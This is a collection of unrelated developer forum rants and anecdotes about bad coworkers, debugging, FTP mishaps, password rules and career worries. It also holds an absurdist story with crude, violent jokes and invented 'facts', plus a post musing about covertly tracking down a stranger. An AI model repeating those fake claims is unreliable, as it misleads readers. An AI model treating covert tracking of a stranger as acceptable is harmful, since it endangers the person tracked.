I want to do so much other stuff but I just wanna tough it on through and finish but it’s so uninspired because I don’t even feel like what the final product will feel like others. Like any service that involves transferring files I feel like they don’t function like how I’m thinking they do like I’m trying to make this function.

I feel like everything I’m making is just subpar and not good and I’m trying and I’m trying to improve but I feel like I’m not getting anywhere. And I want to learn a lot of stuff I have shit planned but I can’t get to it because I have to go through uninspired bullshit hell.

Idk

TIFU by showing login data during presentation

I was presenting my school project when my teacher asked if I could show him the source code. I said ofc, just let me login to the FTP server. I completely forgot that it was also shown on the big screen, and a random funny student logged in and tried to replace the index file with a joke file. Of course, he didn't want to make damage, so he made a backup. But this backup caused the problem, because he connected to the FTP through Windows Explorer (wtf?), and when he made a copy of the original file, it was renamed to "Copy of xy", but in a localized version, which contains special characters. Because of these characters, some FTP clients couldn't even connect, others just couldn't interact with the file. No download, no rename, no delete, nothing. After trying out like 8-9 FTP clients, I just remembered that I could rename it in PHP. Well, it got deleted instead of being renamed, but at least it wasn't there anymore. I have spent like half more hour with searching for a backup version on my computer until I found it.

TL;DR: showed FTP credentials during presentation on big screen, random student accessed and renamed a file, special characters in name fucked up the server, luckily I found a backup.

Hey Guys
Linux VPS + Apache2 + https
I'm a noob in Linux, got my VPS live, but I'm serving http... Even if my page doesn't save even cookies It will marked as unsecure.
Is it possible to config Apache2 to serve https?
Thank you
PS.: Googled and got nothing special, only info about Apache2

This story just left me speechless in any way and i want to share it. tl;dr at the end.
Im studying computer science in germany and in the first of the small classes i noticed... no, i was disturbed by a guy who would just say that the thing we're learning atm were so easy and the teacher shouldn't even bother to explain it to the class. I don't understand why you would spoile a class that hard... I'm here to learn and listen to the teacher, not to you little asshole. (We were doing basic stuff like binary system etc. but still, let us learn)
So he became unpopular pretty fast.
Fast forward, a few weeks of studying later there was a coding competition where you had to solve different algorithmic problems in a team as fast as possible.
I came there, without a team because my friends aren't interested but I enjoy such tournaments. This guy and me were the only ones without a team and we had to work together.
After him being a total dick for hours i had to watch him code a simple for-loop, that iterates through a sorted array. Nothing special, at this point anyone could do that task in our class so it shouldn't be a problem for him.

He made a simple for-loop and it worked fine, but we figured we had to iterate through the array the other way around.
'Alright', I think. 'Just let the index decr..' 'Pssshhh', he interrupted me and said he knows exactly how to do this.
I was quite impressed when he started to type in 'public int backsort..' in a new line. He tried to resort the array backwards with a quicksort that he then struggled to implement. (Of course we had to implement a quick runtime and we needed that quicksort badly)
I was kind of annoyed but impressed at the same time. I mumbled 'Java has an internal sorting algorithm already' just to amuse myself.
He then used that implementation.
After a few minutes of my pleasure and multiple tests without hitting the requested runtime, i tried to explain to him why we wouldn't need to sort that array backwards and he just couldn't believe it.
I hope that he stays more humble after that..
Also we became last place but thats ok :)

tl;dr: Guy spoiles whole class, brags with his untouchable knowledge (when we do things like binary system). In a competition has to iterate through a sorted array backwards - tries to implement a sorting algorithm to sort it backwards first. I tell him, we could use a already implemented java method. Then tell him we could simply iterate through decreasing the index. Mind-Blown

I'm finishing up the most depressing client engagement ever. Ultimately it all traces back to their worthless Expert Beginner EA who thinks he's a genius but can't write code. I don't mean that he's not great at it. It's some of the worst I've ever seen by a person in his position.

In the time I have left here I could do so much to help them clean this stuff up so that future developers could ramp up more easily and there wouldn't be tons of duplicate code.

But I've just given up. You can't help someone who thinks their code is perfect. I don't even bother suggesting stuff any more (like don't have two methods in a class - a "real" one and one for unit testing) because he gets mad or just says that's his "pattern."

If I have a useful improvement, first he'll want me to put all new code in some new library, which is fine as an end result but you don't start with putting single-use code in a library separate from where you're using it. You work with it for a while to see what's useful, what's not, and make changes. But, you see, he just loves making more libraries and calling them "frameworks."

He tells me what he wants me to name classes, and they have nothing to do with what the classes do. When you haven't done any development yet you don't even know what classes you're going to create. You start with something but you refactor and rename. It takes a special breed of stupid to think that you start with a name.

I've even caught the dude taking classes I've committed and copying and pasting them into their own library - a library with one class.

The last time we had to figure out how to do something new I told everyone up front: Don't waste time trying to figure out how you want to solve the problem. Just ask the EA what he wants you to do. Because whatever you come up with, he's going to reject it and come up with something stupid that revolves around adding stuff to his genius framework. And whatever he says you're going to do. So just skip to that.

So that's the environment. We don't write software to meet requirements. We write it to add to the framework so that the EA can turn around and say how useful the framework is.

Except it's not. The overhead for new developers to learn how to navigate his copy-pasted code, tons of inheritance, dead methods, meaningless names, and useless wrappers around existing libraries is massive. Whatever you need to do you could do in a few hours without his framework. Or you can spend literally a month modifying his framework to do the same thing. And half the time his code collapses so that dozens of applications built on his framework go down at once.

I get frameworks. They can be useful, but only if they serve your needs, not the other way around.

I've spent months disciplining myself not to solve problems and not to use my skills.

Good luck to those of you who actually work there. I am deeply sad for the visa worker I'm handing this off to. He's a nice guy and smart. If he was stupid then he wouldn't mind dragging this anchor behind him like an ox pulling a plow. Knowing the difference just makes it harder.

it's been a while since my last rant and coming back after so long made me realize how much I missed here.

at some point i realized that the career I wanted and my current situation wouldn't match, I decided to go in real hard, I moved into the dreaded backend development (you can guess, node and mongodb),

I isolated myself from almost everyone and everything, cleared out my mobile games, social media and for almost two months I wanted something stable(might not be job ready but it had to be reasonable). I have come to love backend development so much, the joy of not having anything to do with css.

dad fought me, mum cried, probably thought I was slipping into some deep end, quitting school in my second year of studying food science(still dont know how I accepted that course lol) to start afresh didn't help matters. really hard decisions, made money on some little freelancing gigs, wasnt constant, I needed something stable and that was a job and a degree to get me one.

nothing special, just some regular hustler hoping his passion will pay him, I have always loved what i do but I need something to keep me going.

Tldr: I failed a test and was sad about jt

So a while ago I had a python exam for my study, nothing special like a certification or anything, just the basics. We are not allowed to use internet because they want to prevent people from communicating from one another. Usually im fine with this rule, but this time it screwed me over so much.

The exam is setup in 3 main assignments each of which has 5 subassignments. Hence, if you cant do subassignment 1, you fail the entire main assignment and lose 33% of your grade. I completely blacked out during the exam and couldnt remember how to simply get a number from a string interpreted as an int and forgot how to work with json. Because we weren't allowed to use internet I wasn't able to figure this out and have now failed the test.

I'm so sad and mad at myself for not acing such an easy test and for a day I felt unworthy of being a programmer. Thank God I got over that and have a resit somewhere next week.

I had to create an account on a website. I used LastPass to generate a strong password. I entered it and got the following message:
"Password must be between 8 and 16 characters and must have special characters (? , ! & #) and numbers"
My password was 20 characters, me annoyed to generate a 16 character password. Filled it in and got the same error. That was it for me.
Who dafuq limits a password to 16 characters, that's fucking nothing. It did not accept all special characters, only the ones that were showed (like 5 or so).
And here comes the worst part...
It's a bank website! I had to create the most most most insecure password in history for it to work.

@localhost My Homeoffice. Nothing really special going on here but I like it simple. :)

Sharing a first look at a prototype Web Components library I am working on for "fun"

TL;DR left side is pivot (grouped) table, right side is declarative code for it (Everything except the custom formatting is done declaratively, but has the option to be imperative as well).

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TL;DR (Too long, did read):

I'm challenging myself to be creative with the cool new things that browsers offer us. Lani so far has a focus on extreme extensibility, abstraction from dependencies, and optional declarative style.

It's also going to be a micro CSS framework, but that's taking the back-seat.

I wanted to highlight my design here with this table, and the code that is written to produce this result.

First, you can see that the <lani-table> element is reading template, data, and layout information from its child elements. Besides the custom highlighting code (Yellow background in the "Tags" column, and green gradient in the "Score" column), everything can be done without opening even a single script tag.

The <lani-data-source> element is rather special. It's an abstraction of any data source, and you, as a developer can add custom data sources and hook up the handlers to your whim (the element itself uses the "type" attribute to choose a handler. In this case, the handler is "download" which simply sends a fetch request to the server once and downloads the result to memory).

Templates are stored in an html file, not string literals (Which I think really fucks the code) and loaded async, then cached into an object (so that the network tab doesn't get crowded, even if we can count on the HTTP cache). This also has the benefit of allowing me to parse the HTML templates once and then caching the parsed result in memory, so templates are never re-parsed from string no matter how many custom elements are created.

Everything is "compiled" into a single, minified .js file that you include on your page.

I know it's nothing extraordinary, but for something that doesn't need to be compiled, transpiled, packaged, shipped, and kissed goodnight, I think it's a really nice design and I hope to continue work on it and improve it over time

happy new year! what do yall have planned for this year? I'm thinking about writing me up a miniature jarvis to automate my Web Development business, nothing really special just automated invoices, website installs, calendar, contract signing, etc. where all I have to do is type up a requirement list and code

Today is very special day. Our whole PHP app has connection problems with DB. After 6 hours of desperation still nothing...

Omg I loath path separators. Been working on windows most of the time (bought a surface pro for some reason) and my colleagues work on Linux. We just do standard web dev stuff nothing special but. I started having issues with my windows build getting weird function.prototype.bind.apply is not a constructor issue. Which is valid because apparently my colleagues started using the fat arrow function everywhere and on places where not needed.......

But on Linux they never had an issue because babel fixed it to the old function during the transpileee. So why the fuck am I getting this problem. After some tedious debugging and asking my colleagues. (colleagues only responded with just use Linux) I found the the issue to lie in the webpack loader for the Javascript in which the path regex used a single / :(. So I changed that to a group to be / or // and bam the whole bloody project works on windows now.

....... My colleagues still don't understand that they over use the fat arrow in the wrong places unfortunately

After going through the regular process of talking to HR/Recruitment and passing the casual interview with a team-mate for cultural compatibility, I got the task of grilling a candidate on some technical matters. This being a PHP job, we got to talking about PSRs (PHP Standards Recommendations).

As he seemed to take pride in his knowledge of PSRs, I decided to focus more closely on that.

So we got to a recomendation regarding dependency injection containers. Nothing special, and he seemed to know his stuff. At that point, he made a statement that parts of that recommendation were a bit stupid.

Now, I hate to put people in their place, but his statement did not match what that specific PSR stated. So I gently tried to correct him. The candidate, being on fire thus far, pointed out that I should trust him on this, as he clearly knew his stuff.

Again, I didn't like having to do this, but I also did not like him having a misconception about a topic he was, otherwise, really on top of...

So I asked him to trust *me*, as I was one of the writers who contributed to the standard.

The true test here, of course, wasn't if he knew all the minutia of every standard but how he would react to being corrected.

We, as developers, are wrong all the time. Its how we learn and evolve. So being able to accept that is vital.

Sadly, he did not respond too well and sunk into a bit of a sullen silence. At first I though maybe I'd scared him or that he was afraid of having made a gaff but it soon turned out he genuinly did not like being wrong.

Sadly, I had to advise against hiring him.

Very Long, random and pretentiously philosphical, beware:

Imagine you have an all-powerful computer, a lot of spare time and infinite curiosity.
You decide to develop an evolutionary simulation, out of pure interest and to see where things will go. You start writing your foundation, basic rules for your own "universe" which each and every thing of this simulation has to obey. You implement all kinds of object, with different attributes and behaviour, but without any clear goal. To make things more interesting you give this newly created world a spoonful of coincidence, which can randomely alter objects at any given time, at least to some degree. To speed things up you tell some of these objects to form bonds and define an end goal for these bonds:
Make as many copies of yourself as possible.
Unlike the normal objects, these bonds now have purpose and can actively use and alter their enviroment. Since these bonds can change randomely, their variety is kept high enough to not end in a single type multiplying endlessly. After setting up all these rules, you hit run, sit back in your comfy chair and watch.
You see your creation struggle, a lot of the formed bonds die and desintegrate into their individual parts. Others seem to do fine. They adapt to the rules imposed on them by your universe, they consume the inanimate objects around them, as well as the leftovers of bonds which didn't make it. They grow, split and create dublicates of themselves. Content, you watch your simulation develop. Everything seems stable for now, your newly created life won't collapse anytime soon, so you speed up the time and get yourself a cup of coffee.
A few minutes later you check back in and are happy with the results. The bonds are thriving, much more active than before and some of them even joined together, creating even larger bonds. These new bonds, let's just call them animals (because that's obviously where we're going), consist of multiple different types of bonds, sometimes even dozens, which work together, help each other and seem to grow as a whole. Intrigued what will happen in the future, you speed the simulation up again and binge-watch the entire Lord of the Rings trilogy.
Nine hours passed and your world became a truly mesmerizing place. The animals grew to an insane size, consisting of millions and billions of bonds, their original makeup became opaque and confusing. Apparently the rules you set up for this universe encourage working together more than fighting each other, although fights between animals do happen.
The initial tools you created to observe this world are no longer sufficiant to study the inner workings of these animals. They have become a blackbox to you, but that's not a problem; One of the species has caught your attention. They behave unlike any other animal. While most of the species adapt their behaviour to fit their enviroment, or travel to another enviroment which fits their behaviour, these special animals started to alter the existing enviroment to help their survival. They even began to use other animals in such a way that benefits themselves, which was different from the usual bonds, since this newly created symbiosis was not permanent. You watch these strange, yet fascinating animals develop, without even changing the general composition of their bonds, and are amazed at the complexity of the changes they made to their enviroment and their behaviour towards each other.
As you observe them build unique structures to protect them from their enviroment and listen to their complex way of communication (at least compared to other animals in your simulation), you start to wonder:
This might be a pretty basic simulation, these "animals" are nothing more than a few blobs on a screen, obeying to their programming and sometimes getting lucky. All this complexity you created is actually nothing compared to a single insect in the real world, but at what point do you draw the line? At what point does a program become an organism?
At what point is it morally wrong to pull the plug?

My favourite bug fix was actually IT based and it was the first time my Eastern European, critical of my skills, family not only praised me but claimed that I was smarter than them.

My grandfather had changed from a telecom to a VOIP device for his landline. For some reason after installation, he could hear the other person on the line but they couldn't hear him. Me and my mother were away during this time so they called in the other family IT guy. This guy is no joke, he's one of the top in his company and makes a sweet six figures and lives in a mansion.

So he started looking things up, googling forum, etc. Couldn't find anything. Started calling the tech support and tried to deduce what it was and their tech support had never heard of such a problem. He takes his lunch breaks to help out my gramps. Keeps escalating, escalating and nothing. His conclusion is that they need to send him a new VoIP stick and they're not giving it to him. At this point, he's so frustrated that he screams at my grandfather to go back to paying 60 bucks a month for landline and to stop bothering him.

At this time me and my mother return and they have concluded that they need a new stick. My mom is great at intimidating people into free stuff so she and I go over to do so. At this point everyone is convinced of the problem and even I don't think I could fix it. But I decide to check if that's the case because I don't want my gramps to get a new stick and it still doesn't work.

I go through the typical forum hunting and there's Nada on the problem. I look at the stick and all the lights seem to be working, no error lights. And I wonder maybe the problem is not the stick, because usually you can't do anything at all if the hardware is broken. So I start thinking, maybe my gramps accidentally muted his handset while talking or something dumb like that. That wasn't it.

Then I decided to see if the problem was recreated on the other handsets. I tried one out and my mom could hear me but I couldn't hear her. What?! That's different! It was the opposite with the other phone. I conclude that it's working and there's something up with the handsets. So I go and do a reset on all of the handsets to make sure.

Lo and behold, the problem is fixed. It took me 25 minutes to solve. That guy gave up after a week of trying. My mom who assumed my IT skills were on par with other kids and nothing special had finally seen me up against an opponent, and not any opponent, a six figure high ranking IT specialist. And I didn't even use any secret, complex software knowledge that wasn't accessible to her or any other normal user.

That's when she finally said that I was smarter than her, that I just used my common sense. She would've needed some kind of prompting, hint or direction to solve the issue but I did it without any.

It was a very satisfying bug to fix.

Recep Tayyip Erdogan had a problem — after his army service, he got so used to cold that he could only sleep on a raw, cold metal grill. Usually, normal people put mattress on top, but Erdogan didn’t feel right this way. So, in one of his personal prisons, he established a social project for making a full metal bed for himself.

For starters, to calculate the shape, he took the smallest man ever (3 inches high) with his fingers and sunk him into molten plastic. “What are you doing?! It hurts!” — man screamed. “Shut up. You’re on an important mission. Your motherland won’t forget you.”
After three months, the bed was ready. It was more of the same — metal bars, but this time with some kind of structure built of metal hinges, rebar and strong springs. This was the day — this was the big reveal event. It took place in the same prison — three prisoners were ready to lay on their new full metal beds, while news crews congratulated Erdogan and celebrated his greatness. “Well, it is time!” — he said.
Prisoners laid flat. An awful screeching sound. Prisoner number two is bleeding out. The spring mechanism broke out and impaled his chest onto a large metal bar. He’s not breathing.
“Shut it down. Shut it all down. No more cameras, no more news”, — said Erdogan.
“Yes, our master”, — said news crews.

They wanted to draft me to Afghanistan.
“No!”, — a young officer shouted, misgendering me — “He doesn’t know the stages of pain. Useless.”
“Are you perhaps arguing pain with a bipolar patient?” — I replied.
“You are a rave. Nothing but a rave.”

Raves spawned near your doors at night. Sometimes, they even spawned on the inside. I can’t say you were in danger, but it certainly wasn’t a pleasant thing to happen to anyone. They looked ugly. They dressed weird. They spoke in riddles.
“How do I move to Europe?”, — a rave asked.
“I…”
“Shut up!”
Rave took a door, suspiciously painted over and over multiple times, and started to slam my door with it, using it as a ram.
My door started giving in.

Alarm system.
On a separate note, to disable the alarm system, you have to speedrun Stanley Parable. It’s the hardest speedrun ever, specifically its hidden ending. It disables all alarm systems in three-mile radius IRL. No one knows how it works, but it does. Back to the danger zone!

“The better quality time you spend sitting on your toilet, the more you’ll live.”, — an officer said.
“I once had a girl blow me while I was shitting,” — Matthias replied — “You have nothing on me.”
“Fair enough!”

It is a little known fact, but the liquid that Northern cities use to clean up snow isn’t quite what it seems like. It’s not salt — in reality, there are bases on Mars, and they store pink goo that… “iMpRoVeS” dead bodies. The liquid is biological in nature, and it expires. Expired liquid is recycled as snow melter. You learn that in high school, but now, living on a train, you should know that there are special learning rooms here, in every. single. carriage. The small gym ball with two handles on its sides is called Gandhi ball. Fun fact: if you wear headless Segways on top of your shoes, and then lay flat holding a Gandhi ball, you can reach the speed of 270 kph!

Today’s news: a Reddit moderator and a legless woman gave birth to a living sex toy for their domestic boar.

So.. playing around with jquerys load() function because I'm trying to implement some updating functionality to a specific div. After researching a bit, it didn't seem like it would be too difficult.. but I could not for the life of me figure out why my template was not displaying! I tried testing with just some basic html and it worked fine. Even took a few snippets from my template and again.. it worked. As soon as I copy/pasted my whole template, the page renders nothing. I was seriously getting frustrated so I started entering the template manually testing each line. It worked until I got to this special div container I made.. went and looked at the css properties for it and..

display: none;

*facepalm*
I forgot I had set it to none because I was using jquerys fadeIn() function xD seriously??

Microsoft owed a lot of its product development to the VB language. VB6 made an acute impact in the dev world. With a RAD environment, a proper language that executes to the machine level. A good IDE etc etc.

VB.NET broke a lot of balls due to the fact that the .NET framework came to the world and C# became a special name in the .NET arsenal. for years, both languages were hand on hand. With a bunch of neckbeards hating on VB.NET and another group of neckbeards advocating for VB.NET to step in to their roots concerning the VB6 standard.

Fast forward and Microsoft is complete hating on VB.NET regarding the .net core environment.

This is for me the biggest hurdle with Microsoft technologies, while I love C#, I am very hesitant to trust in their technology stacks since they have a thing about ignoring things they developed. Remember Visual Fox Pro? ded, remember classic ASP with VBScript and JScript? dead

Shit like that makes me not trust Microsoft, F# is a fascinating language, but nothing stops me from believing they will discard it at one point or another.

Honestly, there is nothing wrong with VB.NET, I feel that the language is fucking easy to get, a glimpse of a VB.NET project and I know what is happening, the syntax, as verbose as it is, really makes it easy for anyone to follow along with it.

The problem? Because it is so easy to work with, most devs in that realm never bothered to move forward, which is why there are no big projects build with this language, as such, people coming forward as maintainers are rare, and few in between.

I just want to go back to the good ol days of RAD and for Embarcadero to get their heads out their ass and release Delphi for everyone. Object pascal is dummy easy.

What's the fuzz about stackoverflows homepage?
There is nothing special, as if you've seen all homepages of all forums you visited.^^

Follow-up rant to my company. Today's day is fairly good, so let's talk about infra.

We're building upon an existing open-source project which is not intended to be extended (e.g. plugins).

Our backend-team somehow hacked symfony into the app, which made the actual work a little bit less annoying. But on the other side, there is absolutely no automation. Everything is setup by hand and I need to upload my sources to my dev-server and watch what files exactly are overwritten. Because if not, I accidentally overwrite core sources which will break the whole app, no matter what. If I forget what file I wrongly overwrote, I have no choice but to setup the core from scratch and apply our sources on-top, AGAIN.

The first time setup took me almost five days.
Oh yeah and the team shares one dev server, so whenever I feel like fucking with a mate, I can easily fuck up his system, since everyone has root-rights.

We're required to use windows, but our dev is linux and I am the only knowledgable linux guy. They need cheatsheets (to be fair, I need my powershell-cheatsheet).

We market the same app with some additional functionality, but we also have clients which require their own stuff. This case has never been thought-out, since for these specific clients, we also modify some core-parts. Which makes it a real hassle to add a basic new feature to that special customer.

At least our frontend is somewhat decent. Simple and without critical thinking, but it works and is decently understandable. I'll rant about that for another day, it's still tedious.

I know I won't stay there for long since I start my own stuff, but it's sad. Nothing is perfect and they _do_ want to make it better, but it's the usual "there is no time, client first" talk. On the other hand, they tell that we should be more efficient, but there is no way to be without looking back at the fundamental structure and what takes us so long.

I don't think I am able to change anything here and as I heard from co-workers, they already look for something new.

cheers

It's part of me, there's nothing special for me known as Dev days. Everyday is Dev day, for me Dev day basically means my life. If you ask for normal day, where I don't have to do something techy, well, then it's a different story.

I honestly have come a long way. But I still have these moments when I just lose confidence In myself, and while grieving it can be worse/more frequent.

I’m being taught some networking programming from this person I befriended and it’s going wonderfully! But I don’t know how much I’m taking in. I don’t know if I’ll be able to completely understand while I’m using what I’m learning, but I guess part of the learning is by using and doing. But what if I need to change it up for a different purpose but I don’t know how?

What if I’m not programming enough? When working on this project/learning the stuff from my new teacher friend to actually make some of the stuff I usually work on that for 30 mins to an hour and a half maybe even 2. Relax, do some college, play games, then later I’ll try to work through a few exercises of my C# WinForms book.
And before you say it I’m not balancing too much on my head. I’ve learned GUI’s before with Python I’m just reflecting that to C# and it’s easy and I’m always in a separate headspace for networking. But it all just doesn’t feel like enough?

It also doesn’t help that i don’t feel like I’m doing anything special that I can boost my confidence with. Usually in a project I won’t feel like I’m doing anything until a cool or special feature is made and I know that’s bad I hate it but I can’t avoid it and I want to feel good even when nothing completely out of this world is made that day.

And I’ve definitely come a long way I’m proud of myself but I just hate getting these feels. And It happens a bit when I’m learning because I’m afraid I’m not learning and I’m gonna keep copy pasting the same code snippets for different projects and I don’t want that I want to be able to fucking edit and change it or make a completely new one of whatever it is but my design but I guess that takes experience with it first.

Thanks for coming to my TED talk

Hey guys, first time writing here.
Around 8 months ago I joined a local company, developing enterprise web apps. First time for me working in a "real" programming job: I've been making a living from little freelance projects, personal apps and private programming lessons for the past 10 years, while on the side I chased the indie game dev dream, with little success. Then, one day, realized I needed to confront myself with the reality of 'standard' business, where the majority of people work, or risk growing too old to find a stable job.
I was kinda excited at first, looking forward to learning from experienced professionals in a long-standing company that has been around for decades. In the past years I coded almost 100% solo, so I really wanted to learn some solid team practices, refine my automated testing skills, and so on. Also, good pay, flexible hours and team is cool.

Then... I actually went there.

At first, I thought it was me. I thought I couldn't understand the code because I was used reading only mine.
I thought that it was me, not knowing well enough the quirks of web development to understand how things worked.
I though I was too lazy - it was shocking to see how hard those guys worked: I saw one guy once who was basically coding with one hand, answering a mail with another, all while doing some technical assistance on the phone.

Then I started to realize.

All projects are a disorganized mess, not only the legacy ones - actually the "green" products are quite worse.
Dependency injection hell: it seems like half of the code has been written by a DI fanatic and the other half by an assembly nostalgic who doesn't really like this new hippy thing called "functions".
Architecture is so messed up there are methods several THOUSANDS of lines long, and for the love of god most people on the team don't really even know WHAT those methods are for, but they're so intertwined with the rest of the codebase no one ever dares to touch them.
No automated test whatsoever, and because of the aforementioned DI hell, it's freaking hard to configure a testing environment (I've been trying for two days during my days off, with almost no success).
Of course documentation is completely absent, specifications are spread around hundreds of mails and opaquely named files thrown around personal shared folders, remote archives, etc.

So I rolled my sleeves up and started crunching as the rest of the team. I tried to follow the boy-scout rule, when the time and scope allowed. But god, it's hard. I'm tired as fuck, I miss working on my projects, or at least something that's not a complete madness. And it's unbearable to manually validate everything (hundreds of edge cases) by hand.

And the rest of the team acts like it's all normal. They look so at ease in this mess. It's like seeing someone quietly sitting inside a house on fire doing their stuff like nothing special is going on.

Please tell me it's not this way everywhere. I want out of this. I also feel like I'm "spoiled", and I should just do like the others and accept the depressing reality of working with all of this. But inside me I don't want to. I developed a taste for clean, easy maintainable code and I don't want to give it up.

My answer to their survey -->

What, if anything, do you most _dislike_ about Firebase In-App Messaging?

Come on, have you sit a normal dev, completely new to this push notification thing and ask him to make run a simple app like the flutter firebase_messaging plugin example? For sure you did not oh dear brain dead moron that found his college degree in a Linux magazine 'Ruby special edition'.

Every-f**kin thing about that Firebase is loose end. I read all Medium articles, your utterly soporific documentation that never ends, I am actually running the flutter plugin example firebase_messaging. Nothing works or is referenced correctly: nothing. You really go blind eyes in life... you guys; right? Oh, there is a flimsy workaround in the 100th post under the Github issue number 10 thousand... lets close the crash report. If I did not change 50 meaningless lines in gradle-what-not files to make your brick-of-puke to work, I did not changed a single one.

I dream of you, looking at all those nonsense config files, with cross side eyes and some small but constant sweat, sweat that stinks piss btw, leaving your eyes because you see the end, the absolute total fuckup coming. The day where all that thick stinky shit will become beyond salvation; blurred by infinite uncontrolled and skewed complexity; your creation, your pathetic brain exposed for us all.

For sure I am not the first one to complain... your whole thing, from the first to last quark that constitute it, is irrelevant; a never ending pile of non sense. Someone with all the world contained sabotage determination would not have done lower. Thank you for making me loose hours down deep your shit show. So appreciated.

The setup is: servers, your crap-as-a-service and some mobile devices. For Christ sake, sending 100 bytes as a little [ beep beep + 'hello kitty' ] is not fucking rocket science. Yet you fuckin push it to be a grinding task ... for eternity!!!

You know what, you should invent and require another, new, useless key-value called 'Registration API Key Plugin ID Service' that we have to generate and sync on two machines, everyday, using something obscure shit like a 'Gradle terminal'. Maybe also you could deprecate another key, rename another one to make things worst and I propose to choose a new hash function that we have to compile ourselves. A good candidate would be a C buggy source code from some random Github hacker... who has injected some platform dependent SIMD code (he works on PowerPC and have not test on x64); you know, the guy you admire because he is so much more lowlife that you and has all the Pokemon on his desk. Well that guy just finished a really really rapid hash function... over GPU in a server less fashion... we have an API for it. Every new user will gain 3ms for every new key. WOW, Imagine the gain over millions of users!!! Push that in the official pipe fucktard!.. What are you waiting for? Wait, no, change the whole service name and infrastructure. Move everything to CLSG (cloud lambda service ... by Google); that is it, brilliant!

And Oh, yeah, to secure the whole void, bury the doc for the new hash under 3000 words, lost between v2, v1 and some other deprecated doc that also have 3000 and are still first result on Google. Finally I think about it, let go the doc, fuck it... a tutorial, for 'weak ass' right.
One last thing, rewrite all your tech in the latest new in house language, split everything in 'femto services' => ( one assembly operation by OS process ) and finally cramp all those in containers... Agile, for sure it has to be Agile. Users will really appreciate the improvements of your mandatory service.

Oh China, you still continue to amuse me... in that special way where i somehow both expect it and am hilariously, breifly shocked... then it's somber, confirming what we know is real/continues to be a societal and cognitive decline trend with no apparent rock bottom, without all-out demise as a near certainty... nor a hail mary play.

... but hey, what better way to digest the real-time info, indicative of something that should be terrifying, but is all too expected, than this unique type of format?

Seriously though, even if it worked amazingly, why would anyone be using it outside in public? Does it require several hours a day? If not, and it was a worthwhile result for you... wouldn't you just make it part of your morning and/or evening routine...even if it had nothing to do with aesthetics, that cant be sanitary... unless you also carry it in a water-tight container or disinfectant and typically bring/use your toothbrush and toothpaste mid-day or at unusual intervals.

I have sooo many more questions about this... and none are relative to who designed/mass produced this, nor the quality of the silicone. As it was developed/produced by the silicone factory ive done great, professional, no bs, business with for about a decade... which is why i waited years to publicly ridicule this contraption.

Fyi- their primary product lines are things like bongs and dab containers; im on the fence of it that makes this better or worse.

Creepy personal truth... i reeeeally wanna know how much that woman got paid... and do to my skill set (ie. Im near utter certainty that i could find her and ask her... likely easily abd definitely without being caught doing anything suspicious. Pro tip: publicly declaring things like this makes it a bit easier to not end up doing it... obvious premeditation adding significantly more to any sentencing.

My most upsetting rejection come from before I got into tech.

I was working in visitor services at a a cultural institution and I was trying to transfer to a different department. A big show was about to open and we were anticipating large crowds. I was tired of the stickup rich people that made of most of our guests. Now, there would plebs would be coming in droves and they would be even more ill behaved.

I didn’t get the job and had to continue on visitor services. It was upsetting because I was trying to save myself from mental stress. I went through months of being verbally demeaned by gross visitors and had physical injuries from working the incessant crowds. Only the seasonal hires were given special gifts when the show ended and I received nothing.

I did reapply for the transfer again when the position reopened a year later. I got the job. The hiring manager admitted that he should have hired me the last time. The girl they hired left after a year because she wanted to go to grad school. They wanted someone who was going to stay longer because training and hiring takes time.

Still as a scholar who has had his intership I decided that I was finally confident enough in my ability to apply for a small part-time programming job. I had an internship at a cool exhausting place with tons of expertise and I've proven myselve over there. So now I wanted a job on the side. Nothing special, just something that would make a little money with programming instead of washing dishes at the restaurant.

So I started at this small internet based startup (2 or 3 progammers) as a backend-oriented programmer. The working hours were amazingly compatible with my school schedule.

The lead dev also sounded like a smart guy. He had worked as a backend guy for years and had code running on verry critical public infrastructure that if it were to fail we'd be evacuated from our homes.

As a first asignment I got an isolated task to make an importer for some kind of file format that needed integration. So I asked for access to the code. I didn't get it since they were going to re-do the entire backend based on the code I wrote. I just needed to parse the file in a usable object structure. So I found out that the file format was horrible and made a quite nice set of objects that were nice. At the end of the first week or so I asked if I could get access to the code again, so I could integrate it. Answer was no. The lead dev would do that. I could however get access to my private repository.

Next week a new intern was taken to build a multiplatform responsive app. Only downside was that all the stuff he had ever done was php based websites. It wasn't going anywhere anytime soon, but I figured that that was where internships were for. So I ended up helping him a lot and taught him some concepts of OOP and S.O.L.I.D. and the occasional 30 minute rants of IndexOutOfRangeException, ArgumentException and such.

So one day he asked me how to parse a json string and retrieve a specific field out of it.
I gave him something like the following to start with:
"
JObject json;
if(!JObject.TryParse(jsonString, out json))
{
//handle error
}
string value;
if(!json.tryget("foo", out value).../// code continues
"

but then the main dev stepped in and proposed the following since it wouldn't crash on an API change:
"
dynamic json = new JObject(jsonString);
string value = json.myJsonValue;
"

After me trying to explain to him that this was a bad choise for about 15 minutes because of all kinds of reasons I just gave up. I was verry mad that this young boy was forced to use bad programming pracises while he was clearly still learning. I know I shouldn't pick up certain practises. But that boy didn't.

Almost everytime the main dev was at the office I had such a mindboggling experience.

After that I got a new assignment.
I had to write another xml file format parser.
Of course I couldn't have any access to our current code because... it was unnecesary. We were going to use my code as a total replacement for the backend again.
And for some reason classes generated from XSD weren't clear enough so after carefull research I literally wrapped xsd generated code in equivalent classes.

At that moment, I realized I made some code that was totally useless since it wasn't compatible with any form of their API or any of the other backend code. (I haven't seen their API. I didn't have access to the source.) And since I could've just pushed them generated XSD's that would've produced thesame datastructure I felt like I was a cheat. I also didn't like that I wasn't allowed to install even the most basic tooling. (git client or, Ide refactoring plugins, spelling checker etc...)

Now I was also told that I couldn't discuss issues with the new guy anymore since it was a waste of my valuable time, and they were afraid that I taught him wrong concepts.

This was the time that my first paycheck came in so I quitted my job.
I haven't seen any of the features that I've worked on. :)

When you explain a project as "a" to this special someone working in your team, you ask them to repeat and they answer "b", then to top it all of they are then going around office telling everyone else "c". So it ends up in spending precious time explaining it for everyone agin... And no it was nothing wrong with the explanation.

I want to teach you two peacekeeping methods that can help you diffuse difficult situations.
Method 1: before engaging in a heated internet argument, ask yourself: “What is my absolutely best case scenario endgame here?”
To me, it’s often something like “Yes, you’re right, my entire life up to this point was a lie, I will read everything you wrote as a prayer every night to strive to be like you in every way.” Yes, this will definitely make my day, but in the grand scheme of things I won’t care. So why settle for less? The grand prize of this special olympics isn’t worth the effort.
Method 2: reading the intent. When you feel uncomfortable talking to someone, ask yourself: “What is their intent? Why are they saying me this?”
If the intent is to tear you down, see method 1. Anyone can be fooled, no exceptions. You losing an argument doesn’t diminish who you are, at all. If you fear it will, then work with your fear directly. It probably has nothing to do with this one argument.
